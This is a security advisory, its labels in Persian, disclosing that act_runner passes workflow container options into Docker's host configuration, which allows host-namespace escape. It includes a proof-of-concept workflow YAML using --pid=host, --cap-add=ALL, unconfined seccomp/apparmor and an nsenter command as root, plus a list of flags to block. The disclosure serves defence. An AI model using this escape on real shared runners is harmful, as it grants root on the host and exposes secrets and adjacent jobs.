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- نسخههای متأثر
- < 1.0.9-0.20260731160927-34bfa1915022
- نسخهٔ اصلاحشده
- 1.0.9-0.20260731160927-34bfa1915022
- نسخههای متأثر
- <1.0.9-0.20260731160927-34bfa1915022
- نسخهٔ اصلاحشده
- 1.0.9-0.20260731160927-34bfa1915022
بهرهبرداری
شرح آسیبپذیری
Summary
act_runner appends workflow-controlled jobs.<job>.container.options directly
to the Docker HostConfig for the job container. When runner privileged mode is
disabled, only Privileged is forced false. Host namespace flags, capability
expansion, and security profile overrides from workflow YAML are preserved in
the final HostConfig. A workflow author can enter host PID/IPC namespaces and
execute commands on the runner host as root.
Details
Source-to-sink path in act_runner:
ContainerSpec.Optionsaccepts workflow YAMLcontainer.optionsRunContext.options()appends workflow options to runner-level container optionsJob container is created with
Privileged: rc.Config.Privilegedbut also withOptions: rc.options(ctx)mergeContainerConfigs()parses Docker CLI-style options into HostConfigWhen privileged mode is disabled, only
copts.privilegedis forced falsesanitizeConfig()only filtersBindsandMountsPreserved dangerous HostConfig fields:
Privileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
Attacker workflow YAML:
jobs:
breakout:
runs-on: ubuntu-latest
container:
image: ubuntu:22.04
options: >-
--pid=host --ipc=host --cap-add=ALL
--security-opt seccomp=unconfined
--security-opt apparmor=unconfined
steps:
- name: host namespace marker
run: |
nsenter -t 1 -m -u -i -n -p -- sh -c "id > /tmp/marker"
Impact
An attacker who can submit a workflow to a repository using a shared Docker-backed act_runner can:
Enter host PID, IPC, and mount namespaces
Execute arbitrary commands as root on the runner host
Access runner host secrets, deployment credentials, and environment variables
Pivot to adjacent jobs running on the same runner
Access internal build infrastructure reachable from the runner host
Critical severity for shared runners where untrusted users can trigger workflows. High severity for single-tenant runners with privileged mode explicitly disabled as a security control.
Fix Direction
Treat container.options as untrusted input. Reject or strip when
privileged mode is disabled:
Host namespaces:
--pid=host,--ipc=host,--uts=host,--network=hostCapability expansion:
--cap-add ALL,--cap-add SYS_ADMINSecurity overrides:
--security-opt seccomp=unconfined,--security-opt apparmor=unconfinedDevice access:
--device,--device-cgroup-ruleVolume inheritance:
--volumes-fromRuntime controls:
--runtime,--cgroup-parent
پیوندها
گزارشدهندگان
- sn0x-sharma

